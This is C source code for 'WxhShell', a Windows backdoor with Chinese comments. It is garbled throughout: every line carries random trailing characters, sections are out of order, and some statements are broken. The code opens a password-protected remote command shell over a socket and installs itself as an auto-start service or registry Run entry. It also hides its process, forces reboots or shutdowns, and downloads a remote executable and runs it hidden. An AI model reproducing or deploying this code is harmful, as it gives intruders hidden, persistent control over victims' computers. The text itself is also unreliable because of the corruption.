    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I l2`c}9  
    if(Boot(SHUTDOWN)) QtSJ9;eP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ))9w)A@  
    else { P[L] S7FTr  
    closesocket(wsh); vr2cDk{  
    ExitThread(0); SN<Dxa8Iy  
    } 1^v?Ly8  
    break; v$JhC'  
    } myq:~^L ;  
  // 获取shell Ul{{g$  
  case 's': { _DD.#YB</  
    CmdShell(wsh); [Z -S0  
    closesocket(wsh); xPp\OuwK  
    ExitThread(0); u#bd*(  
    break; SI"y&[iw  
  } g#}a?kTM@  
  // 退出 f%gdFtJ &  
  case 'x': { 31*0b|Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IN!,|)8s  
    CloseIt(wsh); XLq%nVBM8\  
    break; oY(q(W0ze  
    } 9*&RvsrX  
  // 离开 vQ_D%f4;  
  case 'q': { n 97pxD_74  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tm) (?y  
    closesocket(wsh); kD?lMA__  
    WSACleanup(); a}p}G\b|  
    exit(1); >Y>>lE! k  
    break; =[Z uE0c  
        } i*l-w4D^U  
  } ]>T4\?aC  
  } |A/)b78'u  
>0c4C< _  
  // 提示信息 ,z@"pI b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3U\| E  
} i pi^sCYp  
  } _&U.DMt2 C  
~jOn)jBRZ  
  return; OA?pBA  
} 2leTEs5aK`  
kKlcK_b;  
// shell模块句柄 *= ;M',nx  
int CmdShell(SOCKET sock) _X/`7!f  
{ r!C#PiT}I  
STARTUPINFO si; YYs/r  
ZeroMemory(&si,sizeof(si)); W3~xjS"h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xp68-&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *;u'W|"/~  
PROCESS_INFORMATION ProcessInfo; }#D+}Mo!,  
char cmdline[]="cmd"; QKVFH:"3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (fUpj^E)p  
  return 0; [G#PK5C  
} [gE_\=FSKu  
L5{DWm~@  
// 自身启动模式 1[U`,(C1  
int StartFromService(void) .W*"C  
{ WETnrA"N  
typedef struct %xuJQuCqf  
{ 7}%Z>  
  DWORD ExitStatus; fC<pCdsg  
  DWORD PebBaseAddress; I/vQP+w O  
  DWORD AffinityMask;  ze_q+Z  
  DWORD BasePriority; 8G<{L0J%!  
  ULONG UniqueProcessId; r&0IhE  
  ULONG InheritedFromUniqueProcessId; q y\Z2k  
}   PROCESS_BASIC_INFORMATION; W[4 V#&Z  
"MX9h }7  
PROCNTQSIP NtQueryInformationProcess; tA{B~>  
8}_M1w6v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ymo].  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )Bo]+\2  
:41Ch^\E  
  HANDLE             hProcess; +`]AutNv  
  PROCESS_BASIC_INFORMATION pbi; #*|Gp_l+%  
u+_6V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6aq=h`Y  
  if(NULL == hInst ) return 0; [,?5}'we  
XtP5IN\S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *74VrAo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d:&=|kKw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); appWq}db  
7AouiL 2-W  
  if (!NtQueryInformationProcess) return 0; ra]lC7<H  
DYej<T'?3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -Ed<Kl  
  if(!hProcess) return 0; l1#F1q`^t  
}T1.~E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K?$|Y-_D^M  
j.O+e|kxU  
  CloseHandle(hProcess); 0E^6"nt7N  
chs] ,7R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3-6Lbe9H  
if(hProcess==NULL) return 0; dHO8 bYBH  
.sBwJZ  
HMODULE hMod; W^8MsdM  
char procName[255]; ^=.QQo||B  
unsigned long cbNeeded; 8%Eemk>G{  
/_{B_2i/>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yNDplm|9*  
=6H  
  CloseHandle(hProcess); AdGDs+at,  
+ rN&@}Jt.  
if(strstr(procName,"services")) return 1; // 以服务启动 O+ghw1/  
<4%cKW0  
  return 0; // 注册表启动 ;,7/>Vt  
} al@Hr*'  
2Sb68hJIE  
// 主模块 cD JeYduK  
int StartWxhshell(LPSTR lpCmdLine) `c.P`@KA  
{ ;t\oM7J|  
  SOCKET wsl; Je &O  
BOOL val=TRUE; #C#*yE  
  int port=0; 3Q:HzqG  
  struct sockaddr_in door; O;83A  
W\1V`\gF  
  if(wscfg.ws_autoins) Install(); 2uT"LW/(H  
8D:0Vhx\I  
port=atoi(lpCmdLine); Y:#nk.}>  
kT12  
if(port<=0) port=wscfg.ws_port; p"tCMB  
Wz&[ cj  
  WSADATA data; Rn9e#_Az  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H7?Sd(U  
q<Z`<e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c5- 56 Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {NTMvJLm  
  door.sin_family = AF_INET; UB2Ft=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H_vGa!_  
  door.sin_port = htons(port); /Dj-@7.C/  
-J]j=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G;he:Bf  
closesocket(wsl); h,@tfd U^  
return 1; hUP?r/B  
} d3jzGJrU}  
?,  m_q+  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Ei4$T  
closesocket(wsl); r(OH  
return 1; .8]buM5_G  
} . /@C  
  Wxhshell(wsl); YS0^ !7u  
  WSACleanup(); U>0~/o  
Nf!WqD*je  
return 0; VxW>Xx G0  
8{DW$Z tR  
} f~ P~%  
34c+70x7  
// 以NT服务方式启动 . ytxe!O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S(#v<C,hd  
{ ]Il}ymkIZ  
DWORD   status = 0; 8/"R&yAh  
  DWORD   specificError = 0xfffffff; WbJ  
JJ4w]Dd4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Ge`)_e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Nt'Z*K*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2OZ<t@\OY  
  serviceStatus.dwWin32ExitCode     = 0; L#MgoBXr  
  serviceStatus.dwServiceSpecificExitCode = 0; 9+"ISXS  
  serviceStatus.dwCheckPoint       = 0; DDBf89$\  
  serviceStatus.dwWaitHint       = 0; %G/(7l[W  
pF<KhE*V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `dJ?j[P,p  
  if (hServiceStatusHandle==0) return; S5/p3;O\c  
qlm7eS"sy  
status = GetLastError(); o7kQ&w   
  if (status!=NO_ERROR) #ja6nt8GC  
{ 3DOc,}nI~@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bZ[ay-f6oK  
    serviceStatus.dwCheckPoint       = 0; 'b:UafV  
    serviceStatus.dwWaitHint       = 0; UFGUP]J>  
    serviceStatus.dwWin32ExitCode     = status; _jM+;=f  
    serviceStatus.dwServiceSpecificExitCode = specificError; /RemLJP F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WCyjp  
    return; s8+{##"1 q  
  } yi:1cLq2  
1k!$#1d<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v-&@c  
  serviceStatus.dwCheckPoint       = 0; F@<^  
  serviceStatus.dwWaitHint       = 0; "sJ@_lp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }e-D&U  
} ffG1QvC|M  
cpu|tK.t  
// 处理NT服务事件,比如:启动、停止 q85 4k+C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b&P2VqYgl  
{ @m+FAdA 0  
switch(fdwControl) icN#8\E  
{ R47tg&k6[  
case SERVICE_CONTROL_STOP: y\XWg`X y  
  serviceStatus.dwWin32ExitCode = 0; 48LzI@H&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GsiT!OP]y  
  serviceStatus.dwCheckPoint   = 0; U.c~l,5%"  
  serviceStatus.dwWaitHint     = 0; 6ANA oWg*  
  { A \-r%&.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)J)r \  
  } C *]XQ1F4  
  return; GzjC;+W  
case SERVICE_CONTROL_PAUSE: !laOiH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T)mh  
  break; |vY|jaV}  
case SERVICE_CONTROL_CONTINUE: :u|F>e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q8H9au&/  
  break; hx hs>eY  
case SERVICE_CONTROL_INTERROGATE: >o5eyi  
  break; ^w*&7.Z  
}; Rf TG 5E)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:pKNWY)Q  
} b5?k)s2  
PJ2m4ulY  
// 标准应用程序主函数 7-MyiCt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kk ZMoK  
{ b|u,[jEB  
v-XB\|f  
// 获取操作系统版本 qkD9xFp  
OsIsNt=GetOsVer(); )TOKHN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /vAA]n8  
&Vbcwv@  
  // 从命令行安装 &24>9  
  if(strpbrk(lpCmdLine,"iI")) Install(); xbs X-F  
7l3Dx w/N  
  // 下载执行文件 D)bR-a_^  
if(wscfg.ws_downexe) { ZU.f)94u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Idr|-s%l6'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;fB!/u  
} w"AO~LF  
v<E_n;@9k  
if(!OsIsNt) { ZmZ7E]c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ni-4 ~k  
HideProc(); ew1bb K>  
StartWxhshell(lpCmdLine); &?M'(` ~  
} =' &TqiIv"  
else l-M .C8N  
  if(StartFromService()) <^"0A  
  // 以服务方式启动 r-ljT<f%J[  
  StartServiceCtrlDispatcher(DispatchTable); VE*& t>I  
else ^K[[:7Aem  
  // 普通方式启动 4_w{~  
  StartWxhshell(lpCmdLine); |V mQ  
J-W8wCq`  
return 0; tNYCyw{K  
} c1h?aP  
Z(hRwIOF  
I ka V g L  
>:P-3#e*  
=========================================== CM 8Ub%  
rQ&F Gb  
)P9&I.a8  
{%QWv%|  
#$v,.Yk  
iQz c$y^,9  
" V?4G~~F  
?Bsc;:KF  
#include <stdio.h> 7jYW3  
#include <string.h> +Ec@qP R&  
#include <windows.h> E\XD~  
#include <winsock2.h> !\|L(Paf  
#include <winsvc.h> PZhpp"  
#include <urlmon.h> CxJH)H$  
WxS$yUu  
#pragma comment (lib, "Ws2_32.lib") $GX9-^og=T  
#pragma comment (lib, "urlmon.lib") JV;-P=o1B  
;(;{~1~  
#define MAX_USER   100 // 最大客户端连接数 ){"-J&@?  
#define BUF_SOCK   200 // sock buffer 5db9C}0  
#define KEY_BUFF   255 // 输入 buffer FWuk@t[<O  
sU;aA0kz  
#define REBOOT     0   // 重启 R% )7z)~  
#define SHUTDOWN   1   // 关机 jfsbvak  
CYN")J8V  
#define DEF_PORT   5000 // 监听端口 H05U{vR  
=l1O9/\9  
#define REG_LEN     16   // 注册表键长度 P{o/ /M  
#define SVC_LEN     80   // NT服务名长度 I] 0 D*z  
Ugv"A;l  
// 从dll定义API ~\[\S!"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j4!oBSp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >kG: MJj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oo8"s+G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WcKL=Z?(  
t^(wbC  
// wxhshell配置信息 V"Y-|R  
struct WSCFG { w $z]Z-  
  int ws_port;         // 监听端口 bs\7 juHt  
  char ws_passstr[REG_LEN]; // 口令 nZ~J &QK-  
  int ws_autoins;       // 安装标记, 1=yes 0=no wsyAq'%L  
  char ws_regname[REG_LEN]; // 注册表键名 ewp&QH4  
  char ws_svcname[REG_LEN]; // 服务名 l|'{Cb   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SZm&2~|J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zh 3hCxXa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \EOPlyf8x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SKrkB~%z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H\@@iK=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i9quP"<9  
Y+ea  
}; Bd-@@d.H<  
DXc3u^ L  
// default Wxhshell configuration iK <vr  
struct WSCFG wscfg={DEF_PORT, "[p-Iy1  
    "xuhuanlingzhe", j5]6 CG_  
    1, d6;"zW|Ec  
    "Wxhshell", ,pMH`  
    "Wxhshell", Cz]NSG5  
            "WxhShell Service", ;&MI M`&$  
    "Wrsky Windows CmdShell Service", 3F|#nq  
    "Please Input Your Password: ", 89X`U)Ws  
  1, P *zOt]T  
  "http://www.wrsky.com/wxhshell.exe", AQa;D2B$  
  "Wxhshell.exe" ^i!6q9<{e  
    }; yPhTCr5pK  
m C &*K  
// 消息定义模块 t?<pyw $  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wYIlp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +ZK12D}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7lYiufg  
char *msg_ws_ext="\n\rExit."; C!Oz'~l  
char *msg_ws_end="\n\rQuit."; haW*W=kv)  
char *msg_ws_boot="\n\rReboot..."; `bx}!;{lx  
char *msg_ws_poff="\n\rShutdown..."; xgV(0H}Mf  
char *msg_ws_down="\n\rSave to "; J5 2- qR/  
hxQx$  
char *msg_ws_err="\n\rErr!"; U#=5HzE  
char *msg_ws_ok="\n\rOK!"; 236,o {9e  
Tz{f 5c&  
char ExeFile[MAX_PATH]; z.%K5vrO>  
int nUser = 0; d"Aer  
HANDLE handles[MAX_USER]; C`LHFqv  
int OsIsNt; F vt5vQ  
Bc^ MZ~+ip  
SERVICE_STATUS       serviceStatus; mM6X0aM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <+\ w.!  
./# F,^F2  
// 函数声明 !9ytZR*  
int Install(void); 1Ff Sqd  
int Uninstall(void); ZIo%(IT!c  
int DownloadFile(char *sURL, SOCKET wsh); c&AJFED]<  
int Boot(int flag); ?1kXV n$  
void HideProc(void); xYUC|c1Q9  
int GetOsVer(void); XzF-g*e  
int Wxhshell(SOCKET wsl); k9Xv@v  
void TalkWithClient(void *cs); F&= X/  
int CmdShell(SOCKET sock); ?@uyqi~:U  
int StartFromService(void); C0> Z<z  
int StartWxhshell(LPSTR lpCmdLine); 'l7ey3B%  
4gkaCk{]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U.,_zEbx,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6< T@\E  
y/(60H,{{  
// 数据结构和表定义 ;VI/iwg  
SERVICE_TABLE_ENTRY DispatchTable[] = mufJ@YS#  
{ `: R7j f  
{wscfg.ws_svcname, NTServiceMain}, 7I0[Ii  
{NULL, NULL} Z>t,B%v  
}; )E hR qX9  
P^Tk4_,0  
// 自我安装 j{?ogFfi  
int Install(void) vl,Ff9  
{ 3{*nG'@Mal  
  char svExeFile[MAX_PATH]; Q eZg l!  
  HKEY key; S_ELV#X  
  strcpy(svExeFile,ExeFile); \J0fr'(S  
9\J.AAk~/  
// 如果是win9x系统,修改注册表设为自启动 <<5x"W(,  
if(!OsIsNt) { LI`H,2Km  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~As/cd>9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]8;2Oh   
  RegCloseKey(key); )GC9%mF;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ a`J>~$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _d`)N  
  RegCloseKey(key); &u}]3E'-k  
  return 0; :*6#(MX  
    } "1iLfQ  
  } W8><  
} Y$\c_#/]  
else { &4R -5i2a  
$YztLcn   
// 如果是NT以上系统,安装为系统服务 ]aN]Ha  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }3DZ`8u  
if (schSCManager!=0) OoqA`%  
{ &]_2tN=S$  
  SC_HANDLE schService = CreateService $ctpg9 7  
  ( XK=-$2n  
  schSCManager, IB%Hv]  
  wscfg.ws_svcname, E# UAC2Q  
  wscfg.ws_svcdisp, %%h0 H[5*  
  SERVICE_ALL_ACCESS, IL&;2%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wk[4Qsk<  
  SERVICE_AUTO_START, p1`") $  
  SERVICE_ERROR_NORMAL, C=zc6C,  
  svExeFile, cf{rK`Ff^  
  NULL, aP}30E*Y  
  NULL, 59X'-fg,  
  NULL, Y0Bd[  
  NULL, mi& mQQ  
  NULL f~ -qjEWm  
  ); .;,` bH0  
  if (schService!=0) g* DBW,  
  { N`xXH  
  CloseServiceHandle(schService); 746['sf4c  
  CloseServiceHandle(schSCManager); fB"It~ p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <]wQ;14;H  
  strcat(svExeFile,wscfg.ws_svcname); FesUE_L2$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <[Y@<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4E 32DG*  
  RegCloseKey(key); <C{uodFll  
  return 0; dR@XwEpP  
    } sOb=+u$$9  
  } m(rd\3d  
  CloseServiceHandle(schSCManager); ^W*3S[-`g  
} trm-&e7q?;  
} h4geoC_W2  
G+V?c1Me  
return 1; :211T&B%A_  
}  5JggU  
<F6LC_  
// 自我卸载 j3&tXZ;F  
int Uninstall(void) ~;D5j) 9I  
{ sB+ B,DF  
  HKEY key; Y'eE({)<K  
s_RUb  
if(!OsIsNt) { rOA{8)jIa*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Ds@nuQ  
  RegDeleteValue(key,wscfg.ws_regname); ;{:bq`56f  
  RegCloseKey(key); f*E#E=j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gt|:K)[,6  
  RegDeleteValue(key,wscfg.ws_regname); q)QM+4  
  RegCloseKey(key); E*G {V j  
  return 0; ]3&BLq  
  } /P koqA,  
} fj:q_P67o  
} ,cCBAO ueO  
else { )FSa]1t;x  
DC+l3N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LnlDCbF;!  
if (schSCManager!=0) i/{`rv*K[  
{ w6<zPrA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F$nc9x[S  
  if (schService!=0) @0&KM|+  
  { Ro :)N:C  
  if(DeleteService(schService)!=0) { vH)V\V  
  CloseServiceHandle(schService); `Ti?hQm/  
  CloseServiceHandle(schSCManager); y@2$sK3K  
  return 0; 3\E G  
  } >NMq^J'/  
  CloseServiceHandle(schService); Gm.2!F=R4A  
  } }y&tF'qG  
  CloseServiceHandle(schSCManager); l invK.Lf  
} } 3JOC!;;  
} bW?cb5C  
&E0L 2gbI  
return 1; Q1^kU0M}  
} v)s; wD  
Gzkvj:(V  
// 从指定url下载文件 cTu"Tu\Qw  
int DownloadFile(char *sURL, SOCKET wsh) n1PV/ Z  
{ W+`T:Mgh  
  HRESULT hr; $c1xh.  
char seps[]= "/"; Y wu > k  
char *token; :`<ME/"YE  
char *file; o3,}X@p  
char myURL[MAX_PATH]; \SyG#.$  
char myFILE[MAX_PATH]; .Hm1ispq  
R}T\<6Y  
strcpy(myURL,sURL); {2T;^+KE  
  token=strtok(myURL,seps); D0VbD" y  
  while(token!=NULL) 7 (pl HW|  
  { i(an]%'v  
    file=token; YF6 8 Ax]  
  token=strtok(NULL,seps); }2.0e5[  
  } 9six]T  
J|.n bSE  
GetCurrentDirectory(MAX_PATH,myFILE); qj1Fj  
strcat(myFILE, "\\"); 1dl(`=^X  
strcat(myFILE, file); aU?HIIA  
  send(wsh,myFILE,strlen(myFILE),0); &\L\n}i-  
send(wsh,"...",3,0); Bh5z4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2f0qfF  
  if(hr==S_OK) H J0Rcw%  
return 0; (Q F-=o  
else A# Ne07d  
return 1; ?4H>1Wkb  
JN> h:  
} XkEE55#>|  
jSdW?IH  
// 系统电源模块 3F?_{A  
int Boot(int flag) !~ fy".|x  
{ 6YF<GF{  
  HANDLE hToken; nl+8C}=u  
  TOKEN_PRIVILEGES tkp; ,KFF[z  
fX{Xw0  
  if(OsIsNt) { e_3($pj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5#B M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zr|z!S?aSC  
    tkp.PrivilegeCount = 1; &h'NC%"v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M~P h/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5nS}h76mZ  
if(flag==REBOOT) { H{ I,m-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y[. f`Ei2  
  return 0; |oX1J<LM  
} o[B"J96b  
else { O~4Q:#^c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *yqke<o9)  
  return 0; Wo7`gf_(  
} 5 Mz6/&`  
  } vE C#W43l  
  else { .Zm de*b  
if(flag==REBOOT) { *^i"q\n5(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1HBWOV7z.?  
  return 0; bEB9J- Q  
} +O!4~k^  
else { 8 Az|SJ<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {Y1&GO;  
  return 0; I]6,hygs  
} $ 9 k5a  
} 3"LT''  
"w{$d&+?ag  
return 1; fR#W#n#m  
} 6wH:jd9,  
U$ Od)  
// win9x进程隐藏模块 o(eh.  
void HideProc(void) _|wnmeL*  
{ Eu2(#z 6eW  
GxS!Lk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jQ3&4>gj  
  if ( hKernel != NULL ) BDT"wy8  
  { 9=.7[-6i9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }.r)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dfWtLY  
    FreeLibrary(hKernel); bA\(oD+:  
  } n*rXj{Kt  
!dOpLUh l  
return; C=x70Y/  
} k|3hs('y|  
cQrXrij;!  
// 获取操作系统版本 l0=VE#rFl  
int GetOsVer(void) N fND@m{/  
{ ', P_a,\  
  OSVERSIONINFO winfo; 9;fs'R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TF~cDn  
  GetVersionEx(&winfo); :4[_&]H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qt.|YB8  
  return 1; |>Pz#DCy  
  else ZDx1v_xr  
  return 0; g5lK&-yu]  
} l._g[qa  
=4 NKXP~C  
// 客户端句柄模块 $J=`fx  
int Wxhshell(SOCKET wsl) {=6CL'_  
{ Qq3>Xv <  
  SOCKET wsh; fU|4^p)  
  struct sockaddr_in client; 9e;8"rJ?C  
  DWORD myID; fE1VTGfd:  
(o4':/es  
  while(nUser<MAX_USER) t@!A1Vr@  
{ WXd#`f%  
  int nSize=sizeof(client); ;jh.\a_\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Oar%LSkPRz  
  if(wsh==INVALID_SOCKET) return 1; ,:% h`P_  
{hVc,\A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :eFyd`Syw  
if(handles[nUser]==0) ~~}8D"  
  closesocket(wsh); ]T._TZ"  
else &neB$m3y  
  nUser++; {m/KD 'b_  
  } &"DD&87N%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mo]aB:a  
[~ !9t9+~  
  return 0; 00pe4^U  
} `a5,5}7v%`  
A`1-c   
// 关闭 socket &'u%|A@  
void CloseIt(SOCKET wsh) ';LsEI[  
{ {EJ+   
closesocket(wsh); FTu<$`!1L  
nUser--; &Z%'xAOGR  
ExitThread(0); *1h@Jb34  
} 0u bf]Z  
SK 5__Ix  
// 客户端请求句柄 zvwv7JtB  
void TalkWithClient(void *cs) }ISR +./+  
{ qRXHaQi@9  
F]cc?r312  
  SOCKET wsh=(SOCKET)cs; r o8C^d]  
  char pwd[SVC_LEN]; (@Eb+8Zd  
  char cmd[KEY_BUFF]; 6kO+E5;X  
char chr[1]; vdd>\r)v  
int i,j; [a7S?%>Bh  
]L?WC  
  while (nUser < MAX_USER) { |Elz{i-  
^ # 3,*(S  
if(wscfg.ws_passstr) { ekd;sEO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?ZYj5[op,H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /w2NO9Q  
  //ZeroMemory(pwd,KEY_BUFF); *~^%s +b  
      i=0; ;ZTh(_7  
  while(i<SVC_LEN) { Yu:($//w  
^_/gM[H.  
  // 设置超时 YGhHIziI  
  fd_set FdRead; x$KQ*P~q  
  struct timeval TimeOut; L#fSP  
  FD_ZERO(&FdRead); J]|S0JC`  
  FD_SET(wsh,&FdRead); 3iw. yR  
  TimeOut.tv_sec=8; g_)i)V  
  TimeOut.tv_usec=0; F6" QsFG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =z'533C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jV' tcFr4  
caZEZk#r;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GK&R.R]  
  pwd=chr[0]; CJ[e^K{  
  if(chr[0]==0xd || chr[0]==0xa) { Ni#y=cb  
  pwd=0; v1$ }JX   
  break; :<uCi\9(  
  } LG'1^W{a  
  i++; Tj=@5lj0  
    } PMe3Or@  
qot {#tk d  
  // 如果是非法用户,关闭 socket Vu,:rPqI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  (Kj>Ao  
} <Ys7`e6eY  
cq9d;~q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *oAnG:J+M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A/.z. K  
>Sm#-4B-  
while(1) { Ca0t}`<S  
i8.OM*[f  
  ZeroMemory(cmd,KEY_BUFF); RY*yj&?w [  
e r"gPW  
      // 自动支持客户端 telnet标准   `3.bux~  
  j=0; 2G$-:4B  
  while(j<KEY_BUFF) { 9HAK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EHm:&w  
  cmd[j]=chr[0]; 2>im'x 5  
  if(chr[0]==0xa || chr[0]==0xd) { MJ.Kor  
  cmd[j]=0; Tx/KL%X  
  break; 9\i^.2&  
  } <9`/Y"\p  
  j++; RMa#z [{0  
    } vr$z6m ^  
$'bb)@_  
  // 下载文件 M B,Z4 ^  
  if(strstr(cmd,"http://")) { 94.M 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dm`gzGl  
  if(DownloadFile(cmd,wsh)) J=ot& %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fw0Z- 9*  
  else N~B'gJJDx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}q*(r!q<  
  } CxVrnb[`q  
